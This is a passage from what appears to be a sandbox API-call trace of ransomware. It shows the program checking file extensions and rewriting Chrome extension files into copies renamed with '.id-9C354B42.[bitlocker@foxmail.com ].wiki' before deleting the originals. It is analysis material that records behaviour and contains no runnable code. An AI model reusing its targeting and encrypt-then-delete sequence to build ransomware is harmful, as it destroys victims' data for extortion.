[0181.288] lstrlenW (lpString=".pdf") returned 4 [0181.288] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0181.288] lstrlenW (lpString=".xls") returned 4 [0181.288] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0181.288] lstrlenW (lpString=".xlsx") returned 5 [0181.288] lstrcmpiW (lpString1=".xlsx", lpString2="y.png") returned -1 [0181.288] lstrlenW (lpString=".ppt") returned 4 [0181.288] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0181.288] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 170 [0181.288] lstrlenW (lpString=".zip") returned 4 [0181.288] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0181.288] lstrlenW (lpString=".rar") returned 4 [0181.288] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0181.288] lstrlenW (lpString=".bz2") returned 4 [0181.288] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0181.289] lstrlenW (lpString=".7z") returned 3 [0181.289] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0181.289] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 170 [0181.289] lstrlenW (lpString=".dbf") returned 4 [0181.289] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0181.289] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 170 [0181.289] lstrlenW (lpString=".1cd") returned 4 [0181.289] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0181.289] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 170 [0181.289] lstrlenW (lpString=".jpg") returned 4 [0181.289] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0181.289] lstrcmpiW (lpString1=".html", lpString2=".wiki") returned -1 [0181.289] lstrlenW (lpString="devices.html") returned 12 [0181.289] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.289] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=59) returned 1 [0181.290] CloseHandle (hObject=0x158) returned 1 [0181.290] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html")) returned 0x2020 [0181.290] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.290] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.290] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.290] GetLastError () returned 0x0 [0181.290] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x3b, lpOverlapped=0x0) returned 1 [0181.291] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x40, lpOverlapped=0x0) returned 1 [0181.292] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.292] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0181.292] SetEndOfFile (hFile=0x2e0) returned 1 [0181.292] CloseHandle (hObject=0x2e0) returned 1 [0181.293] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.293] SetEndOfFile (hFile=0x158) returned 1 [0181.293] CloseHandle (hObject=0x158) returned 1 [0181.293] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.294] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html")) returned 1 [0181.294] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 158 [0181.294] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 158 [0181.294] lstrlenW (lpString=".doc") returned 4 [0181.294] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.294] lstrlenW (lpString=".docx") returned 5 [0181.294] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.294] lstrlenW (lpString=".pdf") returned 4 [0181.294] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0181.294] lstrlenW (lpString=".xls") returned 4 [0181.294] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0181.294] lstrlenW (lpString=".xlsx") returned 5 [0181.294] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0181.294] lstrlenW (lpString=".ppt") returned 4 [0181.294] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0181.294] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 158 [0181.294] lstrlenW (lpString=".zip") returned 4 [0181.294] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0181.294] lstrlenW (lpString=".rar") returned 4 [0181.294] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0181.294] lstrlenW (lpString=".bz2") returned 4 [0181.295] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.295] lstrlenW (lpString=".7z") returned 3 [0181.295] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.295] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 158 [0181.295] lstrlenW (lpString=".dbf") returned 4 [0181.295] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.295] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 158 [0181.295] lstrlenW (lpString=".1cd") returned 4 [0181.295] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.295] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 158 [0181.295] lstrlenW (lpString=".jpg") returned 4 [0181.295] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0181.295] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 158 [0181.295] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 158 [0181.295] lstrlenW (lpString=".doc") returned 4 [0181.295] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.295] lstrlenW (lpString=".docx") returned 5 [0181.295] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.295] lstrlenW (lpString=".pdf") returned 4 [0181.295] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0181.295] lstrlenW (lpString=".xls") returned 4 [0181.295] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0181.295] lstrlenW (lpString=".xlsx") returned 5 [0181.295] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0181.295] lstrlenW (lpString=".ppt") returned 4 [0181.295] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0181.295] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 158 [0181.295] lstrlenW (lpString=".zip") returned 4 [0181.296] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0181.296] lstrlenW (lpString=".rar") returned 4 [0181.296] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0181.296] lstrlenW (lpString=".bz2") returned 4 [0181.296] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.296] lstrlenW (lpString=".7z") returned 3 [0181.296] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.296] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 158 [0181.296] lstrlenW (lpString=".dbf") returned 4 [0181.296] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.296] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 158 [0181.296] lstrlenW (lpString=".1cd") returned 4 [0181.296] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.296] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 158 [0181.296] lstrlenW (lpString=".jpg") returned 4 [0181.296] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0181.296] lstrcmpiW (lpString1=".html", lpString2=".wiki") returned -1 [0181.296] lstrlenW (lpString="index.html") returned 10 [0181.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.297] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2088) returned 1 [0181.297] CloseHandle (hObject=0x158) returned 1 [0181.297] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html")) returned 0x2020 [0181.297] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.297] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.297] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.297] GetLastError () returned 0x0 [0181.298] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x828, lpOverlapped=0x0) returned 1 [0181.300] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x830, lpOverlapped=0x0) returned 1 [0181.302] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.302] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0181.302] SetEndOfFile (hFile=0x2e0) returned 1 [0181.302] CloseHandle (hObject=0x2e0) returned 1 [0181.302] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.302] SetEndOfFile (hFile=0x158) returned 1 [0181.303] CloseHandle (hObject=0x158) returned 1 [0181.303] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.303] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html")) returned 1 [0181.303] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 156 [0181.303] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 156 [0181.303] lstrlenW (lpString=".doc") returned 4 [0181.303] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.303] lstrlenW (lpString=".docx") returned 5 [0181.303] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.303] lstrlenW (lpString=".pdf") returned 4 [0181.303] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0181.303] lstrlenW (lpString=".xls") returned 4 [0181.303] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0181.304] lstrlenW (lpString=".xlsx") returned 5 [0181.304] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0181.304] lstrlenW (lpString=".ppt") returned 4 [0181.304] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0181.304] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 156 [0181.304] lstrlenW (lpString=".zip") returned 4 [0181.304] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0181.304] lstrlenW (lpString=".rar") returned 4 [0181.304] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0181.304] lstrlenW (lpString=".bz2") returned 4 [0181.304] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.304] lstrlenW (lpString=".7z") returned 3 [0181.304] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.304] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 156 [0181.304] lstrlenW (lpString=".dbf") returned 4 [0181.304] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.304] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 156 [0181.304] lstrlenW (lpString=".1cd") returned 4 [0181.304] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.304] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 156 [0181.304] lstrlenW (lpString=".jpg") returned 4 [0181.304] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0181.304] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 156 [0181.304] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 156 [0181.304] lstrlenW (lpString=".doc") returned 4 [0181.304] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.304] lstrlenW (lpString=".docx") returned 5 [0181.305] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.305] lstrlenW (lpString=".pdf") returned 4 [0181.305] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0181.305] lstrlenW (lpString=".xls") returned 4 [0181.305] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0181.305] lstrlenW (lpString=".xlsx") returned 5 [0181.305] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0181.305] lstrlenW (lpString=".ppt") returned 4 [0181.305] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0181.305] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 156 [0181.305] lstrlenW (lpString=".zip") returned 4 [0181.305] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0181.305] lstrlenW (lpString=".rar") returned 4 [0181.305] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0181.305] lstrlenW (lpString=".bz2") returned 4 [0181.305] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.305] lstrlenW (lpString=".7z") returned 3 [0181.305] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.305] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 156 [0181.305] lstrlenW (lpString=".dbf") returned 4 [0181.305] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.305] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 156 [0181.305] lstrlenW (lpString=".1cd") returned 4 [0181.305] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.305] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 156 [0181.305] lstrlenW (lpString=".jpg") returned 4 [0181.305] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0181.306] lstrcmpiW (lpString1=".html", lpString2=".wiki") returned -1 [0181.306] lstrlenW (lpString="offers.html") returned 11 [0181.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.306] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=59) returned 1 [0181.306] CloseHandle (hObject=0x158) returned 1 [0181.306] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: 